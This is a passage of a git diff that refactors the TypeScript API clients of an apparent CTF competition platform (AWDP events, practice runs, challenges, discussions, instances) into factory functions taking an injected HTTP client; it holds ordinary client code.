`/events/${eventId}/awdp/finish`, + ); + return res.data; + }, + attachGamebox: async ( + eventId: string, + gameboxId: string, + hidden?: boolean, + ) => { + const res = await http.post>( + `/events/${eventId}/awdp/gameboxes`, + { + gamebox_id: gameboxId, + hidden, + }, + ); + return res.data; + }, + detachGamebox: async (eventId: string, egId: string) => { + const res = await http.delete>( + `/events/${eventId}/awdp/gameboxes/${egId}`, + ); + return res.data; + }, + listEventGameboxes: async (eventId: string, params?: QueryParams) => { + const res = await http.get>( + `/events/${eventId}/awdp/gameboxes`, + { params }, + ); + return res.data; + }, + listInstances: async (eventId: string) => { + const res = await http.get>( + `/events/${eventId}/awdp/instances`, + ); + return res.data; + }, + scores: async (eventId: string) => { + const res = await http.get>( + `/events/${eventId}/awdp/scores`, + ); + return res.data; + }, + dataPresent: async (eventId: string) => { + const res = await http.get>( + `/events/${eventId}/awdp/data`, + ); + return res.data; + }, }; +} + +export type AwdpAdminApi = ReturnType; // ──────────────────────────────────────────────────────────────────────────── // Player client // ──────────────────────────────────────────────────────────────────────────── -export const awdpPlayerApi = { - overview: async (eventId: string) => { - const res = await service_api.get>( - `/events/${eventId}/awdp`, - ); - return res.data; - }, - startInstance: async (eventId: string, egId: string) => { - const res = await service_api.post>( - `/events/${eventId}/awdp/gameboxes/${egId}/instance`, - ); - return res.data; - }, - stopInstance: async (eventId: string, egId: string) => { - const res = await service_api.post>( - `/events/${eventId}/awdp/gameboxes/${egId}/instance/stop`, - ); - return res.data; - }, - resetInstance: async (eventId: string, egId: string) => { - const res = await service_api.post>( - `/events/${eventId}/awdp/gameboxes/${egId}/instance/reset`, - ); - return res.data; - }, - getInstance: async (eventId: string, egId: string) => { - const res = await service_api.get>( - `/events/${eventId}/awdp/gameboxes/${egId}/instance`, - ); - return res.data; - }, - submitBreak: async (eventId: string, egId: string, flag: string) => { - const res = await service_api.post>( - `/events/${eventId}/awdp/gameboxes/${egId}/break`, - { - flag, - }, - ); - return res.data; - }, - uploadPatch: async (eventId: string, egId: string, file: File) => { - const form = new FormData(); - form.append("patch_file", file); - const res = await service_api.post>( - `/events/${eventId}/awdp/gameboxes/${egId}/patch`, - form, - ); - return res.data; - }, - testCheck: async (eventId: string, egId: string) => { - const res = await service_api.post>( - `/events/${eventId}/awdp/gameboxes/${egId}/test-check`, - ); - return res.data; - }, - sourceUrl: async (eventId: string, egId: string) => { - const res = await service_api.get>( - `/events/${eventId}/awdp/gameboxes/${egId}/source`, - ); - return res.data; - }, - rounds: async (eventId: string) => { - const res = await service_api.get>( - `/events/${eventId}/awdp/rounds`, - ); - return res.data; - }, - evaluations: async (eventId: string) => { - const res = await service_api.get>( - `/events/${eventId}/awdp/evaluations`, - ); - return res.data; - }, - scores: async (eventId: string) => { - const res = await service_api.get>( - `/events/${eventId}/awdp/scores`, - ); - return res.data; - }, - scoreboard: async (eventId: string) => { - const res = await service_api.get>( - `/events/${eventId}/awdp/scoreboard`, - ); - return res.data; - }, - trend: async (eventId: string) => { - const res = await service_api.get>( - `/events/${eventId}/awdp/trend`, - ); - return res.data; - }, +export function createAwdpPlayerApi(http: FloatCTFHttpClient) { + return { + overview: async (eventId: string) => { + const res = await http.get>( + `/events/${eventId}/awdp`, + ); + return res.data; + }, + startInstance: async (eventId: string, egId: string) => { + const res = await http.post>( + `/events/${eventId}/awdp/gameboxes/${egId}/instance`, + ); + return res.data; + }, + stopInstance: async (eventId: string, egId: string) => { + const res = await http.post>( + `/events/${eventId}/awdp/gameboxes/${egId}/instance/stop`, + ); + return res.data; + }, + resetInstance: async (eventId: string, egId: string) => { + const res = await http.post>( + `/events/${eventId}/awdp/gameboxes/${egId}/instance/reset`, + ); + return res.data; + }, + getInstance: async (eventId: string, egId: string) => { + const res = await http.get>( + `/events/${eventId}/awdp/gameboxes/${egId}/instance`, + ); + return res.data; + }, + submitBreak: async (eventId: string, egId: string, flag: string) => { + const res = await http.post>( + `/events/${eventId}/awdp/gameboxes/${egId}/break`, + { + flag, + }, + ); + return res.data; + }, + uploadPatch: async (eventId: string, egId: string, file: File) => { + const form = new FormData(); + form.append("patch_file", file); + const res = await http.post>( + `/events/${eventId}/awdp/gameboxes/${egId}/patch`, + form, + ); + return res.data; + }, + testCheck: async (eventId: string, egId: string) => { + const res = await http.post>( + `/events/${eventId}/awdp/gameboxes/${egId}/test-check`, + ); + return res.data; + }, + sourceUrl: async (eventId: string, egId: string) => { + const res = await http.get>( + `/events/${eventId}/awdp/gameboxes/${egId}/source`, + ); + return res.data; + }, + rounds: async (eventId: string) => { + const res = await http.get>( + `/events/${eventId}/awdp/rounds`, + ); + return res.data; + }, + evaluations: async (eventId: string) => { + const res = await http.get>( + `/events/${eventId}/awdp/evaluations`, + ); + return res.data; + }, + scores: async (eventId: string) => { + const res = await http.get>( + `/events/${eventId}/awdp/scores`, + ); + return res.data; + }, + scoreboard: async (eventId: string) => { + const res = await http.get>( + `/events/${eventId}/awdp/scoreboard`, + ); + return res.data; + }, + trend: async (eventId: string) => { + const res = await http.get>( + `/events/${eventId}/awdp/trend`, + ); + return res.data; + }, }; +} + +export type AwdpPlayerApi = ReturnType; export type AwdpRoundDto = { id: string; diff --git a/apps/web/src/api/awdpRuns.ts b/packages/sdk/src/api/awdpRuns.ts similarity index 50% rename from apps/web/src/api/awdpRuns.ts rename to packages/sdk/src/api/awdpRuns.ts index fd08cc2a..f8706513 100644 --- a/apps/web/src/api/awdpRuns.ts +++ b/packages/sdk/src/api/awdpRuns.ts @@ -1,13 +1,13 @@ -import { - type AllCheckDto, - type AwdpEndpoint, - type AwdpInstance, - type AwdpPhase, - type AwdpRoundDto, - type BreakSubmitResponse, - type ManualCheckDto, - type PatchSubmitResponse, -} from "@/api/awdp"; +import type { + AllCheckDto, + AwdpEndpoint, + AwdpInstance, + AwdpPhase, + AwdpRoundDto, + BreakSubmitResponse, + ManualCheckDto, + PatchSubmitResponse, +} from "./awdp.js"; /** * AWDP Practice Run(Training Ground)API 客户端。 * @@ -33,7 +33,8 @@ import { * 形状完全一致的 `AwdpRoundDto` / `BreakSubmitResponse` / `PatchSubmitResponse` / * `ManualCheckDto` / `AwdpPhase` / `AwdpEndpoint`。 */ -import { type QueryParams, type UniResponse, service_api } from "@/api/axios"; +import type { FloatCTFHttpClient } from "../transport.js"; +import type { QueryParams, UniResponse } from "../transport.js"; // ──────────────────────────────────────────────────────────────────────────── // Types @@ -156,159 +157,163 @@ export type AwdpRunWriteupDto = { // Client // ──────────────────────────────────────────────────────────────────────────── -export const awdpRunApi = { - // 目录 / Start Training(§56-57) - gameboxCatalog: async (params?: QueryParams) => { - const res = await service_api.get>( - "/service/gameboxes", - { params: { ...params, capability: "awdp" } }, - ); - return res.data; - }, - startTraining: async (gameboxId: string) => { - const res = await service_api.post>( - `/service/gameboxes/${gameboxId}/awdp/runs`, - ); - return res.data; - }, +export function createAwdpRunApi(http: FloatCTFHttpClient) { + return { + // 目录 / Start Training(§56-57) + gameboxCatalog: async (params?: QueryParams) => { + const res = await http.get>( + "/service/gameboxes", + { params: { ...params, capability: "awdp" } }, + ); + return res.data; + }, + startTraining: async (gameboxId: string) => { + const res = await http.post>( + `/service/gameboxes/${gameboxId}/awdp/runs`, + ); + return res.data; + }, - // Practice Run(§58) - getRun: async (runId: string) => { - const res = await service_api.get>( - `/service/awdp/runs/${runId}`, - ); - return res.data; - }, - stopRun: async (runId: string) => { - const res = await service_api.post>( - `/service/awdp/runs/${runId}/stop`, - ); - return res.data; - }, - resetRun: async (runId: string) => { - const res = await service_api.post>( - `/service/awdp/runs/${runId}/reset`, - ); - return res.data; - }, - /** 练习「开始」:冻结 run → 回卷全新 Break + 启动实例(与 Challenge 练习 Launch 同效)。 */ - startRun: async (runId: string) => { - const res = await service_api.post>( - `/service/awdp/runs/${runId}/start`, - ); - return res.data; - }, - /** 练习「End」:停止全部实例并恢复如初(计分/破解清零,回冻结 Break)。 */ - endRun: async (runId: string) => { - const res = await service_api.post>( - `/service/awdp/runs/${runId}/end`, - ); - return res.data; - }, - setPhase: async (runId: string, phase: "break" | "fix") => { - const res = await service_api.post>( - `/service/awdp/runs/${runId}/phase`, - { phase }, - ); - return res.data; - }, + // Practice Run(§58) + getRun: async (runId: string) => { + const res = await http.get>( + `/service/awdp/runs/${runId}`, + ); + return res.data; + }, + stopRun: async (runId: string) => { + const res = await http.post>( + `/service/awdp/runs/${runId}/stop`, + ); + return res.data; + }, + resetRun: async (runId: string) => { + const res = await http.post>( + `/service/awdp/runs/${runId}/reset`, + ); + return res.data; + }, + /** 练习「开始」:冻结 run → 回卷全新 Break + 启动实例(与 Challenge 练习 Launch 同效)。 */ + startRun: async (runId: string) => { + const res = await http.post>( + `/service/awdp/runs/${runId}/start`, + ); + return res.data; + }, + /** 练习「End」:停止全部实例并恢复如初(计分/破解清零,回冻结 Break)。 */ + endRun: async (runId: string) => { + const res = await http.post>( + `/service/awdp/runs/${runId}/end`, + ); + return res.data; + }, + setPhase: async (runId: string, phase: "break" | "fix") => { + const res = await http.post>( + `/service/awdp/runs/${runId}/phase`, + { phase }, + ); + return res.data; + }, - restartTraining: async (runId: string) => { - const res = await service_api.post>( - `/service/awdp/runs/${runId}/restart-training`, - ); - return res.data; - }, - rounds: async (runId: string) => { - const res = await service_api.get>( - `/service/awdp/runs/${runId}/rounds`, - ); - return res.data; - }, - evaluations: async (runId: string) => { - const res = await service_api.get>( - `/service/awdp/runs/${runId}/evaluations`, - ); - return res.data; - }, - scores: async (runId: string) => { - const res = await service_api.get>( - `/service/awdp/runs/${runId}/scores`, - ); - return res.data; - }, - getWriteup: async (runId: string) => { - const res = await service_api.get>( - `/service/awdp/runs/${runId}/writeup`, - ); - return res.data; - }, - saveWriteup: async (runId: string, content: string) => { - const res = await service_api.put>( - `/service/awdp/runs/${runId}/writeup`, - { content }, - ); - return res.data; - }, + restartTraining: async (runId: string) => { + const res = await http.post>( + `/service/awdp/runs/${runId}/restart-training`, + ); + return res.data; + }, + rounds: async (runId: string) => { + const res = await http.get>( + `/service/awdp/runs/${runId}/rounds`, + ); + return res.data; + }, + evaluations: async (runId: string) => { + const res = await http.get>( + `/service/awdp/runs/${runId}/evaluations`, + ); + return res.data; + }, + scores: async (runId: string) => { + const res = await http.get>( + `/service/awdp/runs/${runId}/scores`, + ); + return res.data; + }, + getWriteup: async (runId: string) => { + const res = await http.get>( + `/service/awdp/runs/${runId}/writeup`, + ); + return res.data; + }, + saveWriteup: async (runId: string, content: string) => { + const res = await http.put>( + `/service/awdp/runs/${runId}/writeup`, + { content }, + ); + return res.data; + }, - // run-scoped gamebox 子资源 - submitBreak: async (runId: string, gameboxId: string, flag: string) => { - const res = await service_api.post>( - `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/break`, - { flag }, - ); - return res.data; - }, - uploadPatch: async (runId: string, gameboxId: string, file: File) => { - const form = new FormData(); - form.append("patch_file", file); - const res = await service_api.post>( - `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/patch`, - form, - ); - return res.data; - }, - testCheck: async (runId: string, gameboxId: string) => { - const res = await service_api.post>( - `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/test-check`, - ); - return res.data; - }, - /** ALL Check:一键官方判定;成功 → 剩余回合全部计分 + run 直接结束。 */ - allCheck: async (runId: string, gameboxId: string) => { - const res = await service_api.post>( - `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/all-check`, - ); - return res.data; - }, - sourceUrl: async (runId: string, gameboxId: string) => { - const res = await service_api.get>( - `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/source`, - ); - return res.data; - }, - startInstance: async (runId: string, gameboxId: string) => { - const res = await service_api.post>( - `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/instance`, - ); - return res.data; - }, - stopInstance: async (runId: string, gameboxId: string) => { - const res = await service_api.post>( - `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/instance/stop`, - ); - return res.data; - }, - resetInstance: async (runId: string, gameboxId: string) => { - const res = await service_api.post>( - `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/instance/reset`, - ); - return res.data; - }, - getInstance: async (runId: string, gameboxId: string) => { - const res = await service_api.get>( - `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/instance`, - ); - return res.data; - }, + // run-scoped gamebox 子资源 + submitBreak: async (runId: string, gameboxId: string, flag: string) => { + const res = await http.post>( + `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/break`, + { flag }, + ); + return res.data; + }, + uploadPatch: async (runId: string, gameboxId: string, file: File) => { + const form = new FormData(); + form.append("patch_file", file); + const res = await http.post>( + `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/patch`, + form, + ); + return res.data; + }, + testCheck: async (runId: string, gameboxId: string) => { + const res = await http.post>( + `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/test-check`, + ); + return res.data; + }, + /** ALL Check:一键官方判定;成功 → 剩余回合全部计分 + run 直接结束。 */ + allCheck: async (runId: string, gameboxId: string) => { + const res = await http.post>( + `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/all-check`, + ); + return res.data; + }, + sourceUrl: async (runId: string, gameboxId: string) => { + const res = await http.get>( + `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/source`, + ); + return res.data; + }, + startInstance: async (runId: string, gameboxId: string) => { + const res = await http.post>( + `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/instance`, + ); + return res.data; + }, + stopInstance: async (runId: string, gameboxId: string) => { + const res = await http.post>( + `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/instance/stop`, + ); + return res.data; + }, + resetInstance: async (runId: string, gameboxId: string) => { + const res = await http.post>( + `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/instance/reset`, + ); + return res.data; + }, + getInstance: async (runId: string, gameboxId: string) => { + const res = await http.get>( + `/service/awdp/runs/${runId}/gameboxes/${gameboxId}/instance`, + ); + return res.data; + }, }; +} + +export type AwdpRunApi = ReturnType; diff --git a/packages/sdk/src/api/index.ts b/packages/sdk/src/api/index.ts new file mode 100644 index 00000000..0bf66e41 --- /dev/null +++ b/packages/sdk/src/api/index.ts @@ -0,0 +1,164 @@ +/** + * 领域 API 门面工厂:把各模块客户端按使用方(选手端 / 管理端)聚合成对象。 + * + * **每个门面绑定到传入的 HTTP handle**,因此不同 `createFloatCTFClient()` 实例 + * 之间完全隔离(不存在模块级共享绑定)。领域模块本身也是工厂: + * 它们只依赖注入进来的 `FloatCTFHttpClient`。 + */ + +import type { FloatCTFHttpClient } from "../transport.js"; + +export { + createAdminLoginFn, + createAnnouncementAdminApi, + createChallengeAdminApi, + createDashboardAdminApi, + createDatabaseAdminApi, + createDiscussionAdminApi, + createDockerAdminApi, + createDownloadAdminApi, + createEventAdminApi, + createEventAnnouncementAdminApi, + createEventChallengeAdminApi, + createEventLogAdminApi, + createEventTeamAdminApi, + createEventUserAdminApi, + createEventWriteupAdminApi, + createInstanceAdminApi, + createLogsAdminApi, + createScheduledTaskAdminApi, + createSettingAdminApi, + createSuperAdminApi, + createSystemAdminApi, + createUserAdminApi, + createWeaponsAdminApi, +} from "./admin/index.js"; +export { + createAnnouncementServiceApi, + createChallengeServiceApi, + createDiscussionServiceApi, + createEventServiceApi, + createInstanceServiceApi, + createSolveServiceApi, + createSubmitServiceApi, + createUploadsServiceApi, + createUserServiceApi, + createWeaponsServiceApi, +} from "./service/index.js"; + +export type { + AdminInstanceRow, + ContainerInfo, + DashboardSummary, + FloatDockerContainer, + ImageInfo, + NetworkInfo, + PortInfo, + SettingsDto, +} from "./admin/index.js"; +export type { + DiscussionWithAuthor, + SolveResult, + UnifiedWriteupDetail, + UnifiedWriteupResult, +} from "./service/index.js"; + +import { + createAdminLoginFn, + createAnnouncementAdminApi, + createChallengeAdminApi, + createDashboardAdminApi, + createDatabaseAdminApi, + createDiscussionAdminApi, + createDockerAdminApi, + createDownloadAdminApi, + createEventAdminApi, + createEventAnnouncementAdminApi, + createEventChallengeAdminApi, + createEventLogAdminApi, + createEventTeamAdminApi, + createEventUserAdminApi, + createEventWriteupAdminApi, + createInstanceAdminApi, + createLogsAdminApi, + createScheduledTaskAdminApi, + createSettingAdminApi, + createSuperAdminApi, + createSystemAdminApi, + createUserAdminApi, + createWeaponsAdminApi, +} from "./admin/index.js"; +import { createAwdAdminApi, createAwdPlayerApi } from "./awd.js"; +import { createAwdpAdminApi, createAwdpPlayerApi } from "./awdp.js"; +import { createAwdpRunApi } from "./awdpRuns.js"; +import { + createAnnouncementServiceApi, + createChallengeServiceApi, + createDiscussionServiceApi, + createEventServiceApi, + createInstanceServiceApi, + createSolveServiceApi, + createSubmitServiceApi, + createUploadsServiceApi, + createUserServiceApi, + createWeaponsServiceApi, +} from "./service/index.js"; + +/** + * 管理端 API 门面。 + * + * @param http 该客户端**自己的**管理端 HTTP handle(见 `createFloatCTFTransport`)。 + */ +export function createAdminApi(http: FloatCTFHttpClient) { + return { + login: createAdminLoginFn(http), + system: createSystemAdminApi(http), + settings: createSettingAdminApi(http), + announcements: createAnnouncementAdminApi(http), + challenges: createChallengeAdminApi(http), + discussions: createDiscussionAdminApi(http), + users: createUserAdminApi(http), + events: createEventAdminApi(http), + instances: createInstanceAdminApi(http), + event_challenges: createEventChallengeAdminApi(http), + event_users: createEventUserAdminApi(http), + event_announcements: createEventAnnouncementAdminApi(http), + event_logs: createEventLogAdminApi(http), + event_writeups: createEventWriteupAdminApi(http), + event_teams: createEventTeamAdminApi(http), + database: createDatabaseAdminApi(http), + scheduled_tasks: createScheduledTaskAdminApi(http), + weapons: createWeaponsAdminApi(http), + logs: createLogsAdminApi(http), + download: createDownloadAdminApi(http), + docker: createDockerAdminApi(http), + dashboard: createDashboardAdminApi(http), + super_admin: createSuperAdminApi(http), + awd: createAwdAdminApi(http), + }; +} + +export type AdminApi = ReturnType; + +/** + * 选手端 API 门面。 + * + * @param http 该客户端**自己的**选手端 HTTP handle。 + */ +export function createServiceApi(http: FloatCTFHttpClient) { + return { + users: createUserServiceApi(http), + events: createEventServiceApi(http), + challenges: createChallengeServiceApi(http), + instances: createInstanceServiceApi(http), + submit: createSubmitServiceApi(http), + solves: createSolveServiceApi(http), + weapons: createWeaponsServiceApi(http), + announcements: createAnnouncementServiceApi(http), + discussions: createDiscussionServiceApi(http), + uploads: createUploadsServiceApi(http), + awd: createAwdPlayerApi(http), + }; +} + +export type ServiceApi = ReturnType; diff --git a/packages/sdk/src/api/service/announcements.ts b/packages/sdk/src/api/service/announcements.ts new file mode 100644 index 00000000..58eafd13 --- /dev/null +++ b/packages/sdk/src/api/service/announcements.ts @@ -0,0 +1,16 @@ +import type { Announcements } from "../../entity/index.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createAnnouncementServiceApi(http: FloatCTFHttpClient) { + return { + fetch: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/announcements", { params }); + return res.data; + }, +}; +} + +export type AnnouncementServiceApi = ReturnType; diff --git a/packages/sdk/src/api/service/challenges.ts b/packages/sdk/src/api/service/challenges.ts new file mode 100644 index 00000000..5d4720b9 --- /dev/null +++ b/packages/sdk/src/api/service/challenges.ts @@ -0,0 +1,107 @@ +import type { InstancesDto as Instances } from "./instances.js"; +import type { + ChallengeSets, + ChallengeWriteup, + Challenges, +} from "../../entity/index.js"; +import type { ChallengeWriteupResult } from "../../types/challengeWriteup.js"; +import type { ChallengesListItem } from "../../types/challengeDto.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +/** 全局 Writeup 列表统一条目(challenge + gamebox 合并;writeup_type 区分类型)。 */ +export type UnifiedWriteupResult = { + id: string; + writeup_type: "challenge" | "gamebox"; + nickname: string; + avatar?: string | null; + email: string; + content_id: string; + content_name: string; + updated_at: string; +}; + +/** 单个 Writeup 详情统一条目(challenge + gamebox 都能渲染;gamebox 的 id 即 run_id)。 */ +export type UnifiedWriteupDetail = { + id: string; + writeup_type: "challenge" | "gamebox"; + content_id: string; + content_name: string; + category?: string | null; + nickname: string; + avatar?: string | null; + email: string; + content: string; + created_at: string; + updated_at: string; +}; + +export function createChallengeServiceApi(http: FloatCTFHttpClient) { + return { + fetch: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/challenges", { params }); + return res.data; + }, + get: async (id: string): Promise> => { + const res = await http.get(`/challenges/${id}`); + return res.data; + }, + getInstance: async (id: string): Promise> => { + const res = await http.get(`/challenges/${id}/instance`); + return res.data; + }, + getMyWriteup: async ( + challenge_id: string, + ): Promise> => { + const res = await http.get(`/challenges/${challenge_id}/my_writeup`); + return res.data; + }, + createMyWriteup: async ({ + challenge_id, + content, + }: { + challenge_id: string; + content: string; + }): Promise> => { + const res = await http.post( + `/challenges/${challenge_id}/my_writeup`, + { + content, + }, + ); + return res.data; + }, + getWriteup: async ( + id: string, + ): Promise> => { + const res = await http.get(`/writeups/${id}`); + return res.data; + }, + getWriteups: async ( + challenge_id: string, + ): Promise> => { + const res = await http.get(`/challenges/${challenge_id}/writeups`); + return res.data; + }, + getAllWriteups: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/writeups", { params }); + return res.data; + }, + getChallengeSets: async (): Promise> => { + const res = await http.get("/challenge_sets"); + return res.data; + }, + getChallengeSet: async ( + id: string, + ): Promise> => { + const res = await http.get(`/challenge_sets/${id}`); + return res.data; + }, +}; +} + +export type ChallengeServiceApi = ReturnType; diff --git a/packages/sdk/src/api/service/discussions.ts b/packages/sdk/src/api/service/discussions.ts new file mode 100644 index 00000000..138dc896 --- /dev/null +++ b/packages/sdk/src/api/service/discussions.ts @@ -0,0 +1,94 @@ +import type { DiscussionComments, Discussions } from "../../entity/index.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +/** + * 后端 GET /discussions 与 GET /discussions/{id} 返回的 DTO: + * discussions 表字段(serde flatten)+ 作者信息与当前用户点赞状态。 + */ +export type DiscussionWithAuthor = Discussions & { + author_nickname: string; + author_avatar?: string; + is_liked: boolean; +}; + +export function createDiscussionServiceApi(http: FloatCTFHttpClient) { + return { + fetch: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/discussions", { params }); + return res.data; + }, + get: async (id: string): Promise> => { + const res = await http.get(`/discussions/${id}`); + return res.data; + }, + create: async (data: { + title: string; + content: string; + }): Promise> => { + const res = await http.post("/discussions", data); + return res.data; + }, + patch: async ( + data: Partial, + ): Promise> => { + const res = await http.patch(`/discussions/${data.id}`, data); + return res.data; + }, + remove: async (id: string): Promise> => { + const res = await http.delete(`/discussions/${id}`); + return res.data; + }, + like: async (id: string): Promise> => { + const res = await http.post(`/discussions/${id}/like`); + return res.data; + }, + unlike: async (id: string): Promise> => { + const res = await http.delete(`/discussions/${id}/like`); + return res.data; + }, + getComments: async ( + id: string, + params: QueryParams = {}, + ): Promise> => { + const res = await http.get(`/discussions/${id}/comments`, { + params, + }); + return res.data; + }, + createComment: async ( + discussion_id: string, + data: { content: string; parent_id?: string }, + ): Promise> => { + const res = await http.post( + `/discussions/${discussion_id}/comments`, + data, + ); + return res.data; + }, + patchComment: async ( + discussion_id: string, + comment_id: string, + data: { content: string }, + ): Promise> => { + const res = await http.patch( + `/discussions/${discussion_id}/comments/${comment_id}`, + data, + ); + return res.data; + }, + deleteComment: async ( + discussion_id: string, + comment_id: string, + ): Promise> => { + const res = await http.delete( + `/discussions/${discussion_id}/comments/${comment_id}`, + ); + return res.data; + }, +}; +} + +export type DiscussionServiceApi = ReturnType; diff --git a/packages/sdk/src/api/service/events.ts b/packages/sdk/src/api/service/events.ts new file mode 100644 index 00000000..587875a8 --- /dev/null +++ b/packages/sdk/src/api/service/events.ts @@ -0,0 +1,128 @@ +import type { InstancesDto as Instances } from "./instances.js"; +import type { + EventAnnouncements, + EventTeams, + EventUsers, +} from "../../entity/index.js"; +import type { EventInfo } from "../../types/eventInfo.js"; +import type { EventChallengeResult } from "../../types/eventChallenge.js"; +import type { EventInstanceResult } from "../../types/eventInstance.js"; +import type { ScoreboardItem } from "../../types/scoreboard.js"; +import type { TrendItem } from "../../types/trend.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createEventServiceApi(http: FloatCTFHttpClient) { + return { + fetch: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/events", { params }); + return res.data; + }, + join: async (event_id: string): Promise> => { + const res = await http.post(`/events/${event_id}/join`); + return res.data; + }, + leave: async (event_id: string): Promise> => { + const res = await http.delete(`/events/${event_id}/leave`); + return res.data; + }, + createTeam: async ({ + event_id, + name, + }: { + event_id: string; + name: string; + }): Promise> => { + const res = await http.post(`/events/${event_id}/team`, { + name, + }); + return res.data; + }, + joinTeam: async ({ + event_id, + team_id, + }: { + event_id: string; + team_id: string; + }): Promise> => { + const res = await http.post( + `/events/${event_id}/team/${team_id}/join`, + ); + return res.data; + }, + quitTeam: async ({ + event_id, + team_id, + }: { + event_id: string; + team_id: string; + }): Promise> => { + const res = await http.delete( + `/events/${event_id}/team/${team_id}`, + ); + return res.data; + }, + get: async (id: string): Promise> => { + const res = await http.get(`/events/${id}`); + return res.data; + }, + fetchChallenges: async ( + id: string, + params: QueryParams = {}, + ): Promise> => { + const res = await http.get(`/events/${id}/challenges`, { + params, + }); + return res.data; + }, + getChallengeInstance: async ( + event_id: string, + challenge_id: string, + ): Promise> => { + const res = await http.get( + `/events/${event_id}/challenges/${challenge_id}/instance`, + ); + return res.data; + }, + getInstances: async ( + event_id: string, + ): Promise> => { + const res = await http.get(`/events/${event_id}/instances`); + return res.data; + }, + launchSingleInstance: async ( + event_id: string, + challenge_id: string, + ): Promise> => { + const res = await http.post("/instances/launch", { + challenge_id, + event_id, + }); + return res.data; + }, + getScoreboard: async ( + event_id: string, + ): Promise> => { + const res = await http.get(`/events/${event_id}/scoreboard`); + return res.data; + }, + getTrend: async (event_id: string): Promise> => { + const res = await http.get(`/events/${event_id}/trend`); + return res.data; + }, + getAnnouncements: async ( + event_id: string, + ): Promise> => { + const res = await http.get(`/events/${event_id}/announcements`); + return res.data; + }, + getOwnWp: async (event_id: string): Promise> => { + const res = await http.get(`/events/${event_id}/own_wp`); + return res.data; + }, +}; +} + +export type EventServiceApi = ReturnType; diff --git a/packages/sdk/src/api/service/index.ts b/packages/sdk/src/api/service/index.ts new file mode 100644 index 00000000..569ba0a4 --- /dev/null +++ b/packages/sdk/src/api/service/index.ts @@ -0,0 +1,51 @@ +/** + * 选手端领域模块的聚合出口(**全是工厂**)。 + * + * 模块自身不再持有任何模块级 HTTP 绑定:每个 `create*` 都要求注入 + * `FloatCTFHttpClient`,因此不同客户端实例天然隔离。 + */ + +export { + createUserServiceApi, + type UserServiceApi, +} from "./users.js"; +export { + createEventServiceApi, + type EventServiceApi, +} from "./events.js"; +export { + createChallengeServiceApi, + type ChallengeServiceApi, + type UnifiedWriteupDetail, + type UnifiedWriteupResult, +} from "./challenges.js"; +export { + createInstanceServiceApi, + type InstanceServiceApi, +} from "./instances.js"; +export { + createSubmitServiceApi, + type SubmitServiceApi, +} from "./submit.js"; +export { + createSolveServiceApi, + type SolveServiceApi, + type SolveResult, +} from "./solves.js"; +export { + createWeaponsServiceApi, + type WeaponsServiceApi, +} from "./weapons.js"; +export { + createAnnouncementServiceApi, + type AnnouncementServiceApi, +} from "./announcements.js"; +export { + createUploadsServiceApi, + type UploadsServiceApi, +} from "./uploads.js"; +export { + createDiscussionServiceApi, + type DiscussionServiceApi, + type DiscussionWithAuthor, +} from "./discussions.js"; diff --git a/packages/sdk/src/api/service/instances.ts b/packages/sdk/src/api/service/instances.ts new file mode 100644 index 00000000..97b67eb3 --- /dev/null +++ b/packages/sdk/src/api/service/instances.ts @@ -0,0 +1,43 @@ +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; +import type { Instances, InstancesDto } from "../../types/instanceDto.js"; + +export type { Instances, InstancesDto }; + +export function createInstanceServiceApi(http: FloatCTFHttpClient) { + return { + launch: async (id: string): Promise> => { + const res = await http.post("/instances/launch", { + challenge_id: id, + }); + return res.data; + }, + launchSingle: async ( + challenge_id: string, + event_id: string, + ): Promise> => { + const res = await http.post("/instances/launch", { + challenge_id, + event_id, + }); + return res.data; + }, + fetch: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/instances", { params }); + return res.data; + }, + destroy: async (id: string): Promise> => { + const res = await http.delete(`/instances/${id}`); + return res.data; + }, + /** 批量删除(复选框选中后):挑战实例销毁 / AWDP 实例停容器并移除行。 */ + bulkDelete: async (id_list: string[]): Promise> => { + const res = await http.delete("/instances", { data: { id_list } }); + return res.data; + }, +}; +} + +export type InstanceServiceApi = ReturnType; diff --git a/packages/sdk/src/api/service/solves.ts b/packages/sdk/src/api/service/solves.ts new file mode 100644 index 00000000..43df25b6 --- /dev/null +++ b/packages/sdk/src/api/service/solves.ts @@ -0,0 +1,30 @@ +import type { JeopardyChallengeSolves as ChallengeSolves } from "../../entity/index.js"; +import type { TopUser } from "../../types/top.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +/** + * 后端 GET /solves 返回的 DTO:challenge_solves 表字段(serde flatten)+ 解题者信息。 + */ +export type SolveResult = ChallengeSolves & { + nickname: string; + avatar?: string; + challenge_name: string; +}; + +export function createSolveServiceApi(http: FloatCTFHttpClient) { + return { + fetch: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/solves", { params }); + return res.data; + }, + getTop15Users: async (): Promise> => { + const res = await http.get("/solves/top15users"); + return res.data; 